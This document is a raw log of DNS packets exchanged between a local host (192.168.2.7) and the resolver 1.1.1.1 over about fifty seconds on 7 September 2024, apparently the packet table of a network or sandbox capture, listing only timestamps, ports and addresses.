Sep 7, 2024 15:29:45.392582893 CEST	55097	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:45.735590935 CEST	53	55097	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:45.848913908 CEST	53604	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:45.864881992 CEST	53	53604	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:45.866986990 CEST	54414	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:45.880007029 CEST	53	54414	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:45.989497900 CEST	64425	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:46.000686884 CEST	53	64425	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:46.002892971 CEST	56692	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:46.026938915 CEST	53	56692	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:46.130014896 CEST	60330	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:46.321665049 CEST	53	60330	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:46.324501038 CEST	60611	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:46.509362936 CEST	53	60611	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:46.630891085 CEST	57193	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:46.899415016 CEST	53	57193	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:46.902848959 CEST	50462	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:46.949394941 CEST	53	50462	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:47.099520922 CEST	54311	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:47.265207052 CEST	53	54311	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:47.267528057 CEST	52482	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:47.433634043 CEST	53	52482	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:47.536497116 CEST	56545	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:47.578541040 CEST	53	56545	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:47.580780029 CEST	51396	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:47.616444111 CEST	53	51396	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:47.723968029 CEST	53038	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:47.743103981 CEST	53	53038	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:47.750284910 CEST	61352	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:47.760168076 CEST	53	61352	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:47.864622116 CEST	51977	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:47.968019009 CEST	53	51977	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:47.970546007 CEST	50644	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:48.207566977 CEST	53	50644	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:48.317558050 CEST	61373	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:48.419826984 CEST	53	61373	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:48.421967030 CEST	52349	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:48.652146101 CEST	53	52349	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:48.759944916 CEST	53691	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:48.797491074 CEST	53	53691	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:48.799880981 CEST	55467	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:48.836570978 CEST	53	55467	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:48.943356991 CEST	63325	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:49.041860104 CEST	53	63325	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:49.044030905 CEST	55979	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:49.147670031 CEST	53	55979	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:49.255134106 CEST	63689	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:49.264563084 CEST	53	63689	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:49.266801119 CEST	63986	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:49.276115894 CEST	53	63986	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:49.380503893 CEST	56310	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:49.401833057 CEST	53	56310	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:49.404021978 CEST	64795	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:49.427944899 CEST	53	64795	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:49.536264896 CEST	52564	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:49.564598083 CEST	53	52564	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:50.739305973 CEST	61787	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:50.856765032 CEST	53	61787	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:51.989726067 CEST	57253	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:52.021189928 CEST	53	57253	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:52.023711920 CEST	62393	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:52.058624029 CEST	53	62393	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:52.165827990 CEST	52910	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:52.190042019 CEST	53	52910	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:53.318114996 CEST	51841	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:53.352533102 CEST	53	51841	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:53.355355978 CEST	60608	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:53.391465902 CEST	53	60608	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:53.505021095 CEST	57702	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:53.514295101 CEST	53	57702	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:53.516190052 CEST	53175	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:53.526051998 CEST	53	53175	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:53.630861044 CEST	54319	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:53.973978043 CEST	53	54319	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:53.976479053 CEST	64396	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:54.306387901 CEST	53	64396	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:54.411490917 CEST	64020	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:54.824388981 CEST	53	64020	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:54.826750040 CEST	61232	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:54.929884911 CEST	53	61232	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:55.036447048 CEST	50498	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:55.055619955 CEST	53	50498	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:55.057557106 CEST	52065	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:55.091906071 CEST	53	52065	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:55.208092928 CEST	59708	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:55.220619917 CEST	53	59708	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:55.222774029 CEST	63773	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:55.232795000 CEST	53	63773	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:55.349355936 CEST	59751	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:55.364506006 CEST	53	59751	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:55.366630077 CEST	60718	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:55.377959967 CEST	53	60718	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:55.489629030 CEST	60270	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:55.829638004 CEST	53	60270	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:55.831829071 CEST	50158	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:55.838495970 CEST	53	50158	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:55.942648888 CEST	64097	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:55.960047960 CEST	53	64097	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:55.970577002 CEST	56668	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:55.986299038 CEST	53	56668	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:56.098726988 CEST	53166	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:56.107994080 CEST	53	53166	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:56.110059977 CEST	53525	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:56.118432999 CEST	53	53525	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:56.223797083 CEST	54678	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:56.233366966 CEST	53	54678	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:56.235358000 CEST	51090	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:56.281322956 CEST	53	51090	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:56.395677090 CEST	56735	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:56.432233095 CEST	53	56735	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:56.434300900 CEST	62648	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:56.471396923 CEST	53	62648	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:56.583182096 CEST	56400	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:56.593974113 CEST	53	56400	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:56.595969915 CEST	50414	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:56.609462976 CEST	53	50414	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:56.723793983 CEST	59338	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:57.040971041 CEST	53	59338	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:57.043052912 CEST	50123	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:57.352428913 CEST	53	50123	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:57.458358049 CEST	59141	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:57.467056990 CEST	53	59141	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:57.469520092 CEST	63197	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:57.479104042 CEST	53	63197	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:57.583369017 CEST	60276	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:57.685085058 CEST	53	60276	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:57.688587904 CEST	49583	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:58.181344986 CEST	53	49583	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:58.286386013 CEST	60660	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:58.297610998 CEST	53	60660	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:58.299566984 CEST	53733	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:58.309628963 CEST	53	53733	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:58.411345005 CEST	57660	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:58.444792986 CEST	53	57660	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:58.446947098 CEST	51560	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:58.483006954 CEST	53	51560	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:58.598771095 CEST	59157	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:59.574525118 CEST	53	59157	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:59.576838017 CEST	52506	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:59.679470062 CEST	53	52506	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:59.786340952 CEST	51275	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:59.797849894 CEST	53	51275	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:59.799992085 CEST	64348	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:59.820204973 CEST	53	64348	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:59.926913977 CEST	51973	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:00.193155050 CEST	53	51973	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:00.195255041 CEST	59245	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:00.204844952 CEST	53	59245	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:00.317542076 CEST	57003	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:00.556090117 CEST	53	57003	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:00.558351040 CEST	58769	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:00.799501896 CEST	53	58769	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:00.911238909 CEST	52744	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:01.013648987 CEST	53	52744	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:01.015666008 CEST	54288	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:01.253390074 CEST	53	54288	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:01.364345074 CEST	63641	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:01.917143106 CEST	53	63641	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:03.505208015 CEST	50323	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:03.524162054 CEST	53	50323	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:03.533832073 CEST	61700	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:03.551131010 CEST	53	61700	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:03.661242008 CEST	52758	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:03.670559883 CEST	53	52758	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:04.787329912 CEST	50289	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:05.045679092 CEST	53	50289	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:05.048017979 CEST	51699	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:05.546303988 CEST	53	51699	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:05.661475897 CEST	53402	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:05.694219112 CEST	53	53402	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:05.696516991 CEST	56869	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:05.738641977 CEST	53	56869	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:05.848829985 CEST	55264	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:06.624862909 CEST	53	55264	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:06.627382994 CEST	65239	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:07.497315884 CEST	53	65239	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:07.598922014 CEST	52696	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:07.870053053 CEST	53	52696	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:07.872354031 CEST	62704	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:08.039247036 CEST	53	62704	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:08.145936966 CEST	56931	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:09.161089897 CEST	56931	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:09.658628941 CEST	53	56931	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:09.661108017 CEST	53692	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:09.662374973 CEST	53	56931	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:09.756164074 CEST	53	53692	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:09.864471912 CEST	56285	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:09.880007029 CEST	53	56285	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:12.789369106 CEST	58895	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:12.829186916 CEST	53	58895	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:12.831149101 CEST	52979	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:12.867326021 CEST	53	52979	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:12.974308968 CEST	64559	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:12.983553886 CEST	53	64559	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:12.985438108 CEST	64012	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:12.995574951 CEST	53	64012	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:13.098885059 CEST	56870	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:13.142432928 CEST	53	56870	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:13.144844055 CEST	62954	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:13.179450035 CEST	53	62954	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:13.286384106 CEST	56822	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:13.321969032 CEST	53	56822	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:13.324176073 CEST	51086	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:13.363127947 CEST	53	51086	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:13.476815939 CEST	52507	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:13.486541986 CEST	53	52507	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:13.490021944 CEST	57625	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:13.499617100 CEST	53	57625	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:13.614281893 CEST	54719	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:13.641762972 CEST	53	54719	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:14.770571947 CEST	49338	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:14.882925987 CEST	53	49338	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:14.886775017 CEST	65384	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:15.124066114 CEST	53	65384	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:15.240770102 CEST	49921	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:15.278383017 CEST	53	49921	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:15.281163931 CEST	51198	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:15.756757021 CEST	53	51198	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:15.864590883 CEST	59322	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:15.874722958 CEST	53	59322	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:15.876734018 CEST	54125	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:15.886204958 CEST	53	54125	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:15.989639997 CEST	65240	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:16.692415953 CEST	53	65240	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:16.695669889 CEST	52988	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:16.793878078 CEST	53	52988	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:16.895665884 CEST	55697	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:16.909538031 CEST	53	55697	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:18.083842993 CEST	49912	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:18.093679905 CEST	53	49912	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:19.208720922 CEST	54195	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:19.219168901 CEST	53	54195	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:19.229331970 CEST	58834	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:19.259555101 CEST	53	58834	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:19.364595890 CEST	56603	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:19.396869898 CEST	53	56603	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:19.406852961 CEST	52494	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:19.417476892 CEST	53	52494	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:19.520657063 CEST	51674	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:19.552063942 CEST	53	51674	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:19.554121971 CEST	63359	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:19.562489986 CEST	53	63359	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:19.677270889 CEST	59080	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:19.917213917 CEST	53	59080	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:19.919414043 CEST	53404	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:20.024422884 CEST	53	53404	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:20.130086899 CEST	58985	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:20.139305115 CEST	53	58985	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:21.270842075 CEST	63640	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:22.106216908 CEST	53	63640	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:22.112556934 CEST	51837	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:22.208043098 CEST	53	51837	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:22.317809105 CEST	64481	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:22.420473099 CEST	53	64481	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:22.422626019 CEST	55219	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:22.429733038 CEST	53	55219	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:22.537317038 CEST	61052	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:22.574500084 CEST	53	61052	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:22.576658010 CEST	52417	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:22.611942053 CEST	53	52417	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:22.723973036 CEST	62705	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:22.780123949 CEST	53	62705	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:22.782269001 CEST	53424	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:22.818612099 CEST	53	53424	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:22.926928997 CEST	63157	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:22.960517883 CEST	53	63157	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:22.962826967 CEST	52464	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:22.976161957 CEST	53	52464	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:23.085997105 CEST	57006	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:23.098297119 CEST	53	57006	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:23.100630999 CEST	62647	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:23.113457918 CEST	53	62647	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:23.224616051 CEST	59156	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:23.270075083 CEST	53	59156	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:24.412635088 CEST	61591	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:24.447864056 CEST	53	61591	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:24.450625896 CEST	51254	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:24.480134964 CEST	53	51254	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:24.583697081 CEST	64641	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:24.615369081 CEST	53	64641	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:24.617486954 CEST	50087	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:24.649199963 CEST	53	50087	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:24.755743027 CEST	60737	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:24.767937899 CEST	53	60737	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:24.770045996 CEST	58250	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:24.782494068 CEST	53	58250	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:24.895672083 CEST	65065	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:24.904417038 CEST	53	65065	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:24.906614065 CEST	50708	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:24.914362907 CEST	53	50708	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:25.021195889 CEST	55547	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:25.030441046 CEST	53	55547	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:26.161252022 CEST	52640	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:26.177217007 CEST	53	52640	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:27.302303076 CEST	49309	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:27.404400110 CEST	53	49309	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:27.408231974 CEST	50735	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:27.415968895 CEST	53	50735	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:27.521094084 CEST	59298	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:27.542555094 CEST	53	59298	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:28.661911011 CEST	58712	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:28.923466921 CEST	53	58712	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:28.926270008 CEST	55041	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:28.961067915 CEST	53	55041	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:29.086133003 CEST	62655	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:29.095711946 CEST	53	62655	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:29.099706888 CEST	55879	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:29.109499931 CEST	53	55879	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:29.224013090 CEST	60369	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:29.233778954 CEST	53	60369	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:29.235910892 CEST	65277	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:29.250071049 CEST	53	65277	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:29.365093946 CEST	50477	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:29.605092049 CEST	53	50477	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:29.607785940 CEST	54446	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:29.841172934 CEST	53	54446	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:29.960613012 CEST	53246	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:30.220982075 CEST	53	53246	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:30.226032019 CEST	60977	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:30.260030985 CEST	53	60977	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:30.397269011 CEST	55747	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:30.672457933 CEST	53	55747	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:30.674571037 CEST	51674	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:30.722882032 CEST	53	51674	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:30.833125114 CEST	54023	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:30.858109951 CEST	53	54023	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:32.023303986 CEST	65288	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:32.046468973 CEST	53	65288	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:33.208690882 CEST	63103	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:33.313477993 CEST	53	63103	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:33.317290068 CEST	55232	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:30:33.323970079 CEST	53	55232	1.1.1.1	192.168.2.7
Sep 7, 2024 15:30:34.926973104 CEST	60999	53	192.168.2.7	1.1.1.1
